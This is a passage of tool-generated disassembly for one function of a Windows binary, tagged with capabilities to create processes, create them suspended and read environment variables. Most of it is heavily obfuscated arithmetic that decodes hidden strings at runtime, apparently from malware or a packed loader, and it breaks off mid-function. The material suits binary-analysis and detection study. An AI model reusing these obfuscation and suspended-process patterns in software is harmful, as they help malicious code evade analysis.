Function at 0x445330
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
cmp dword [0x476660], 0
jne 0x445d4f
mov ax, word [0x4755bc]
xor ax, 0x8b71
mov word [0x4755c6], ax
mov ax, word [0x4755be]
mov dx, ax
and dx, 0x20b5
shl dx, 1
mov cx, ax
add cx, 0x20b5
sub cx, dx
xor cx, 0xffff
and cx, 0xffff
or cx, 0
and cx, 0x20b5
shl cx, 1
sub cx, 0x20b5
mov dx, ax
xor dx, cx
xor cx, 0xffff
and ax, cx
shl ax, 1
sub ax, dx
mov word [0x4755c8], ax
mov ax, word [0x4755c0]
xor ax, 0x89f4
mov word [0x4755ca], ax
mov cx, word [0x4755c2]
mov ax, cx
xor ax, 0xffff
mov dx, ax
xor dx, 0xec25
xor dx, 0xffff
or ax, 0xec25
and ax, dx
mov dx, cx
xor dx, 0xec25
and dx, cx
or ax, dx
mov word [0x4755cc], ax
mov dx, word [0x4755c4]
mov cx, dx
xor cx, 0xffff
or cx, 0x4789
add cx, 0xb877
mov ax, dx
xor ax, 0xffff
or ax, 0xb876
and dx, 0x4789
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
and dx, cx
xor dx, 0xffff
xor dx, 0xd075
mov word [0x4755ce], dx
mov cx, word [0x4755a0]
mov ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0xf99d
and cx, 0x662
or ax, cx
xor ax, 0x2e92
mov word [0x4755ae], ax
mov ax, word [0x4755a2]
xor ax, 0x5638
mov word [0x4755b0], ax
mov ax, word [0x4755a4]
xor ax, 0xf15
mov word [0x4755b2], ax
mov ax, word [0x4755a6]
xor ax, 0xf338
mov word [0x4755b4], ax
mov cx, word [0x4755a8]
mov ax, cx
and ax, 0x30fd
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or dx, 0xcf02
and ax, dx
xor ax, 0xffff
mov si, ax
and si, 0xfffd
mov dx, ax
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, ax
and si, 2
or ax, 2
imul ax, si
add ax, dx
mov dx, cx
and dx, 0x30fd
or cx, 0x30fd
add dx, cx
sub dx, ax
mov word [0x4755b6], dx
mov ax, word [0x4755aa]
xor ax, 0xc48
mov word [0x4755b8], ax
mov ax, word [0x4755ac]
xor ax, 0x9eda
mov word [0x4755ba], ax
mov cx, word [0x4755d0]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or ax, dx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0x5972
mov dx, cx
and dx, 0xa68d
xor dx, 0xffff
xor cx, 0xffff
or cx, 0x5972
and dx, cx
xor dx, 0xffff
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
mov word [0x475610], cx
mov ax, word [0x4755d2]
xor ax, 0x578d
mov word [0x475612], ax
mov ax, word [0x4755d4]
xor ax, 0x4c17
mov word [0x475614], ax
mov cx, word [0x4755d6]
mov ax, cx
xor ax, 0xffff
and ax, 0x708
mov dx, cx
and dx, 0xf8f7
or ax, dx
xor ax, 0xf8f7
and ax, 0x403a
and cx, 0xbfc5
or ax, cx
mov cx, ax
and cx, 0x7a6
shl cx, 1
add ax, 0x7a6
sub ax, cx
mov word [0x475616], ax
mov ax, word [0x4755d8]
mov cx, ax
xor cx, 0xffff
and cx, 0x23b4
and ax, 0xdc4b
or cx, ax
xor cx, 0x126f
mov word [0x475618], cx
mov ax, word [0x4755da]
xor ax, 0xfbaf
mov word [0x47561a], ax
mov ax, word [0x4755dc]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
and cx, 0x4ef0
or ax, 0x4ef0
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x47561c], cx
mov ax, word [0x4755de]
xor ax, 0x94ec
mov word [str.ZaJ], ax
mov ax, word [0x4755e0]
mov cx, ax
and cx, 0xb475
shl cx, 1
add ax, 0xb475
sub ax, cx
mov word [0x475620], ax
mov ax, word [0x4755e2]
mov cx, ax
and cx, 0x5787
shl cx, 1
add ax, 0x5787
sub ax, cx
mov word [0x475622], ax
mov ax, word [0x4755e4]
xor ax, 0xfc2
mov word [0x475624], ax
mov ax, word [0x4755e6]
xor ax, 0xabcc
mov word [0x475626], ax
mov ax, word [0x4755e8]
mov cx, ax
xor cx, 0x5486
xor cx, 0xffff
and cx, 0x5486
shl cx, 1
sub cx, 0x5486
sub ax, cx
mov word [0x475628], ax
mov ax, word [0x4755ea]
xor ax, 0xbaa7
mov word [0x47562a], ax
mov ax, word [0x4755ec]
mov cx, ax
and cx, 0x24f
shl cx, 1
add ax, 0x24f
sub ax, cx
mov word [0x47562c], ax
mov ax, word [0x4755ee]
xor ax, 0xe13
mov word [0x47562e], ax
mov ax, word [0x4755f0]
xor ax, 0x3e8a
mov word [0x475630], ax
mov ax, word [0x4755f2]
mov cx, ax
xor cx, 0xffff
and cx, 0x257d
and ax, 0xda82
or cx, ax
xor cx, 0xac44
mov word [0x475632], cx
mov cx, word [0x4755f4]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
and ax, 0xffff
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub ax, dx
xor ax, 0xffff
or ax, 0xd89b
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xd89b
xor cx, 0xffff
xor cx, 0xffff
mov dx, ax
xor dx, cx
and dx, ax
xor dx, 0xffff
mov word [0x475634], dx
mov ax, word [0x4755f6]
xor ax, 0x8064
mov word [0x475636], ax
mov cx, word [0x4755f8]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
or dx, si
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
or ax, dx
mov dx, ax
and dx, 0xffff
shl dx, 1
add ax, 0xffff
sub ax, dx
or ax, 0xaf12
and cx, 0xaf12
xor cx, 0xffff
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
mov dx, ax
or dx, cx
xor dx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x475638], dx
mov ax, word [0x4755fa]
xor ax, 0x9a81
mov word [0x47563a], ax
mov ax, word [0x4755fc]
xor ax, 0x8bdc
mov word [0x47563c], ax
mov ax, word [0x4755fe]
xor ax, 0x56cd
mov word [0x47563e], ax
mov cx, word [0x475600]
mov ax, cx
or ax, ax
xor ax, 0xffff
or ax, 0x86c3
xor ax, 0xffff
or cx, 0x793c
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
mov word [0x475640], ax
mov cx, word [0x475602]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
and ax, dx
mov dx, cx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
and dx, si
or ax, dx
xor ax, 0xffff
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub ax, dx
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x9b03
xor ax, 0xffff
and ax, 0xffff
or cx, 0x64fc
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
mov word [0x475642], ax
mov ax, word [0x475604]
xor ax, 0xc67e
mov word [0x475644], ax
mov ax, word [0x475606]
mov cx, ax
xor cx, 0xe281
xor cx, 0xffff
and cx, 0xe281
shl cx, 1
sub cx, 0xe281
sub ax, cx
mov word [0x475646], ax
mov ax, word [0x475608]
mov cx, ax
xor cx, 0x9cc4
xor cx, 0xffff
and cx, 0x9cc4
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
sub cx, 0x9cc4
xor edx, edx
sub dx, cx
add ax, dx
mov word [0x475648], ax
mov ax, word [0x47564a]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
mov si, dx
xor si, cx
xor si, 0xffff
or dx, cx
and dx, si
mov cx, dx
and cx, 0x585f
xor dx, 0x585f
or cx, dx
xor cx, 0xffff
xor ax, 0xffff
and ax, 0x585f
or cx, ax
mov ax, cx
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
shl ax, 1
sub ax, 0xffff
sub cx, ax
mov word [0x475654], cx
mov cx, word [0x47564c]
mov ax, cx
xor ax, 0xffff
and ax, 0x9c4a
xor cx, 0xffff
or cx, 0x9c4a
xor cx, 0xffff
and cx, 0xffff
or ax, cx
mov cx, ax
and cx, cx
xor cx, 0xffff
and cx, 0xd21b
xor cx, 0xffff
and ax, 0x2de4
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
mov word [0x475656], cx
mov ax, word [0x47564e]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
and cx, 0x1760
xor ax, 0xffff
and ax, 0xe89f
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x475658], cx
mov cx, word [0x475650]
mov ax, cx
xor ax, 0xffff
and ax, 0xcd9d
mov dx, cx
and dx, 0x3262
or ax, dx
xor ax, 0x3262
mov dx, ax
xor dx, 0x1c1b
xor dx, 0xffff
or ax, 0x1c1b
and ax, dx
and cx, 0xe3e4
and ax, ax
xor ax, 0xffff
and cx, cx
xor cx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
xor ax, 0x96f7
mov word [0x47565a], ax
mov cx, word [0x475652]
mov ax, cx
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
or ax, 0x49d4
xor ax, 0xffff
and ax, 0xffff
xor cx, 0xffff
or cx, 0xb62b
xor cx, 0xffff
and cx, 0xffff
or ax, cx
mov cx, ax
and cx, 0xaced
shl cx, 1
add ax, 0xaced
sub ax, cx
mov word [0x47565c], ax
mov cx, word [0x47565e]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or ax, dx
and ax, 0xae17
xor ax, 0xffff
and cx, 0x51e8
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov word [0x475668], ax
mov ax, word [0x475660]
mov dx, ax
xor dx, 0xffff
mov bx, ax
xor bx, 0xffff
mov word [ebp - 0x6e], bx
mov cx, dx
and cx, 0xa98
mov di, ax
and di, 0xf567
and bx, 0xa98
mov si, ax
and si, 0xf567
or cx, di
or bx, si
xor cx, bx
or dx, word [ebp - 0x6e]
xor dx, 0xffff
and dx, 0xffff
or cx, dx
xor cx, 0xffff
or cx, 0x5e1a
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
and dx, 0xffff
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
xor ax, 0xffff
and ax, 0x5e1a
xor dx, 0xffff
xor ax, 0xffff
xor ax, 0xffff
mov cx, dx
xor cx, ax
and cx, dx
mov word [0x47566a], cx
mov cx, word [0x475662]
mov dx, cx
xor dx, 0xffff
mov ax, cx
xor ax, 0xffff
or dx, ax
mov ax, cx
xor ax, 0xffff
mov si, cx
xor si, 0xffff
or ax, si
and dx, ax
xor dx, 0xffff
xor dx, 0xffff
mov ax, dx
xor ax, 0xffff
and ax, 0xc4f6
xor dx, 0xffff
and dx, 0xc4f6
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
or dx, 0xc4f6
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x47566c], ax
mov ax, word [0x475664]
mov cx, ax
xor cx, 0xffff
and cx, 0xed17
and ax, 0x12e8
or cx, ax
xor cx, 0x621b
mov word [0x47566e], cx
mov ax, word [0x475666]
mov cx, ax
xor cx, 0xffff
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xf769
and ax, 0x896
or cx, ax
mov word [0x475670], cx
mov dword [0x476660], 1
push eax
mov esi, esp
push eax
mov edi, esp
push eax
mov dword [ebp - 0xcc], esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0xd0], esp
push eax
mov dword [ebp - 0x68], esp
push eax
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0xc8], esp
push eax
mov dword [ebp - 0xc4], esp
push eax
mov dword [ebp - 0x64], esp
push eax
mov dword [ebp - 0xc0], esp
push eax
mov dword [ebp - 0xbc], esp
push eax
mov dword [ebp - 0xb8], esp
push eax
mov dword [ebp - 0xb4], esp
push eax
mov dword [ebp - 0xb0], esp
push eax
mov dword [ebp - 0x60], esp
push eax
mov dword [ebp - 0x5c], esp
sub esp, 8
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0xac], esp
push eax
mov dword [ebp - 0xa8], esp
push eax
mov dword [ebp - 0xa4], esp
push eax
mov dword [ebp - 0x11c], esp
push eax
mov dword [ebp - 0x118], esp
push eax
mov dword [ebp - 0xa0], esp
push eax
mov dword [ebp - 0x9c], esp
push eax
mov dword [ebp - 0x98], esp
push eax
mov dword [ebp - 0x94], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x50], esp
sub esp, 8
mov dword [ebp - 0x114], esp
push eax
mov dword [ebp - 0x90], esp
push eax
mov dword [ebp - 0x8c], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x88], esp
push eax
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x84], esp
sub esp, 8
mov dword [ebp - 0x110], esp
push eax
mov dword [ebp - 0x10c], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x20], esp
sub esp, 0x80
mov dword [ebp - 0x48], esp
sub esp, 0x400
mov dword [ebp - 0x1c], esp
sub esp, 0x10
mov dword [ebp - 0x108], esp
push eax
mov dword [ebp - 0x100], esp
push eax
mov dword [ebp - 0x34], esp
sub esp, 0xc
mov dword [ebp - 0xfc], esp
sub esp, 0x400
mov dword [ebp - 0xf8], esp
sub esp, 0x44
mov dword [ebp - 0xf4], esp
sub esp, 0x10
mov dword [ebp - 0xf0], esp
sub esp, 0xc
mov dword [ebp - 0xec], esp
sub esp, 0x400
mov dword [ebp - 0xe4], esp
sub esp, 0xc
mov dword [ebp - 0xe0], esp
push eax
sub esp, 0x3fc
mov dword [ebp - 0xdc], esp
sub esp, 0x3c
mov dword [ebp - 0xd8], esp
sub esp, 0x400
mov dword [ebp - 0x80], esp
sub esp, 0x44
mov dword [ebp - 0x7c], esp
sub esp, 0x10
mov dword [ebp - 0xd4], esp
sub esp, 8
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0xe8], esp
push eax
mov dword [ebp - 0x104], esp
call fcn.0044c890
mov dword [edi], eax
mov eax, dword [edi]
mov edi, dword [ebp - 0xcc]
sub esp, 4
mov dword [esp], eax
call fcn.00401460
add esp, 4
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.004019d0
add esp, 4
cmp eax, 4
je 0x445f58
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401b10
add esp, 4
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x4473bf
mov dword [ebp - 0x6c], esi
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401740
add esp, 4
mov dword [ebx], eax
mov eax, dword [ebx]
lea ecx, [0x469756]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
cmp eax, 0
mov esi, ebx
jne 0x445fbd
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401b10
add esp, 4
mov esi, dword [ebp - 0x6c]
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x4473bf
mov eax, dword [esi]
lea ecx, [0x469758]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.00401990
add esp, 0xc
cmp eax, 0
jne 0x44600d
jmp 0x445fe6
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401b10
add esp, 4
mov esi, dword [ebp - 0x6c]
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x4473bf
mov eax, dword [esi]
lea ecx, [0x46975a]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401790
add esp, 8
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [esi]
lea ecx, [0x469758]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401790
add esp, 8
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
jmp 0x446059
mov eax, dword [ebp - 0x40]
mov edi, dword [eax]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00401a70
add esp, 4
cmp edi, eax
setb al
test al, 1
mov edi, dword [ebp - 0xcc]
jne 0x446092
jmp 0x446082
mov ebx, esi
mov eax, dword [ebp - 0x10]
mov dword [eax], 2
jmp 0x447299
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401a80
add esp, 8
mov esi, dword [ebp - 0x14]
mov dword [esi], eax
mov eax, dword [esi]
lea ecx, [0x46975d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
cmp eax, 0
jne 0x4460f0
jmp 0x4460df
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
mov esi, dword [ebp - 0x18]
jmp 0x44727c
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46975d
call fcn.004016e0
add esp, 8
fnstcw word [ebp - 0x2e]
movzx eax, word [ebp - 0x2e]
or eax, 0xc00
mov word [ebp - 0x78], ax
fldcw word [ebp - 0x78]
fistp dword [ebp - 0x130]
fldcw word [ebp - 0x2e]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
cmp dword [ecx], 0
jne 0x446689
mov esi, dword [ebp - 0x18]
jmp 0x446140
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46975f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x446174
jmp 0x446232
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x469761]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.00401990
add esp, 0xc
cmp eax, 0
je 0x446232
jmp 0x4461a4
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x469763]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x4461d5
jmp 0x446232
jmp 0x4461d7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x469765]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x446208
jmp 0x446232
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x469767]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401990
add esp, 0xc
cmp eax, 0
jne 0x446240
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x44727c
mov edi, dword [ebp - 0x14]
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46975f
call fcn.00401690
add esp, 8
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov ebx, ecx
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469761
call fcn.00401790
add esp, 8
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469763
call fcn.00401690
add esp, 8
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469765
call fcn.004016e0
add esp, 8
fnstcw word [ebp - 0x2c]
movzx eax, word [ebp - 0x2c]
or eax, 0xc00
mov word [ebp - 0x76], ax
fldcw word [ebp - 0x76]
fistp dword [ebp - 0x120]
fldcw word [ebp - 0x2c]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469767
call fcn.004016e0
add esp, 8
fnstcw word [ebp - 0x2a]
movzx eax, word [ebp - 0x2a]
or eax, 0xc00
mov word [ebp - 0x74], ax
fldcw word [ebp - 0x74]
fistp dword [ebp - 0x124]
fldcw word [ebp - 0x2a]
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov ebx, dword [ebp - 0xb0]
mov dword [ebx], eax
mov esi, ebx
mov eax, dword [edi]
mov edx, eax
xor edx, 0xffffffff
mov ecx, edx
xor ecx, 2
xor ecx, 0xffffffff
or edx, 2
and edx, ecx
mov ecx, eax
and ecx, 0xfffffffd
imul ecx, edx
mov edx, eax
xor edx, 0xffffffff
or edx, 0xfffffffd
mov edi, eax
xor edi, 0xffffffff
or edi, 0xfffffffd
and edx, edi
xor edx, 0xffffffff
or eax, 2
imul eax, edx
xor edx, edx
sub edx, ecx
sub eax, edx
sub eax, 0x81ddda9e
sub eax, 0x8c978dd7
add eax, 2
add eax, 0x8c978dd7
add eax, 0x81ddda9e
sub esp, 4
mov dword [esp], eax
call fcn.004556d4
add esp, 4
mov ebx, dword [ebp - 0x60]
mov dword [ebx], eax
mov eax, dword [esi]
mov edx, eax
and edx, 0xfffffffd
mov ecx, eax
or ecx, 0xfffffffd
xor ecx, 0xffffffff
mov edi, eax
or edi, 0xfffffffd
xor edi, 0xffffffff
or ecx, edi
xor ecx, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
shl edi, 1
sub edi, 0xffffffff
sub ecx, edi
imul ecx, edx
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
add eax, ecx
add eax, 0xc60e8f74
add eax, 2
sub eax, 0xc60e8f74
sub esp, 4
mov dword [esp], eax
call fcn.004556d4
add esp, 4
mov edi, dword [ebp - 0x5c]
mov dword [edi], eax
mov esi, dword [ebp - 0xb4]
mov eax, dword [esi]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004556ff
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0xb0]
mov eax, dword [esi]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov edx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004556ff
add esp, 0xc
mov eax, dword [edi]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 1
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
call fcn.0042f4e0
add esp, 8
mov edi, dword [ebp - 0xac]
mov dword [edi], 0
mov esi, dword [ebp - 0x64]
jmp 0x4464b3
mov ebx, dword [edi]
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00401a70
add esp, 4
cmp ebx, eax
jb 0x4464d7
mov eax, dword [ebp - 0x10]
mov dword [eax], 5
jmp 0x446645
mov eax, dword [edi]
mov ecx, dword [esi]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401a00
add esp, 8
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.004019d0
add esp, 4
cmp eax, 2
jne 0x44662c
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004016b0
add esp, 4
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov ebx, dword [ebp - 0x11c]
mov dword [ebx], eax
mov eax, dword [ebx]
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
or ecx, 0
xor ecx, 0xffffffff
or ecx, 0
xor ecx, 0xffffffff
xor ecx, 2
and ecx, 2
mov edi, eax
xor edi, 0xfffffffd
xor edi, 0xffffffff
mov edx, eax
or edx, 0xfffffffd
and edx, edi
imul edx, ecx
mov ecx, eax
and ecx, 2
or eax, 2
imul eax, ecx
add eax, edx
mov ecx, eax
and ecx, 2
or eax, 2
mov edx, ecx
and edx, eax
or ecx, eax
add edx, ecx
sub esp, 4
mov dword [esp], edx
call fcn.004556d4
add esp, 4
mov esi, dword [ebp - 0x118]
mov dword [esi], eax
mov eax, dword [ebx]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ecx]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004556ff
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebx]
mov word [eax + ecx*2], 0
mov eax, dword [ebp - 0xb8]
mov ebx, dword [eax]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5c]
mov edx, dword [eax]
mov edi, dword [esi]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ebx
mov eax, dword [ebp - 0x58]
mov dword [esp + 0x14], eax
call fcn.0040b620
add esp, 0x18
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov edi, dword [ebp - 0xac]
jmp 0x44662c
mov eax, dword [edi]
add eax, 0x1738c16c
add eax, 1
sub eax, 0x1738c16c
mov dword [edi], eax
mov esi, dword [ebp - 0x64]
jmp 0x4464b3
mov esi, dword [ebp - 0x18]
jmp 0x44664a
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0042f630
add esp, 4
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov ecx, dword [ebp - 0x10]
jmp 0x447276
mov esi, dword [ebp - 0x18]
jmp 0x44668e
cmp dword [ecx], 1
sete al
test al, 1
jne 0x44669d
jmp 0x4468ef
call fcn.00406640
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46975f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
cmp eax, 0
je 0x4466ff
jmp 0x4466ce
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x469763]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401990
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x44670d
jmp 0x4466ff
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x44727c
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
lea ecx, [0x46975f]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401690
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
lea ecx, [0x469763]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401690
add esp, 8
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
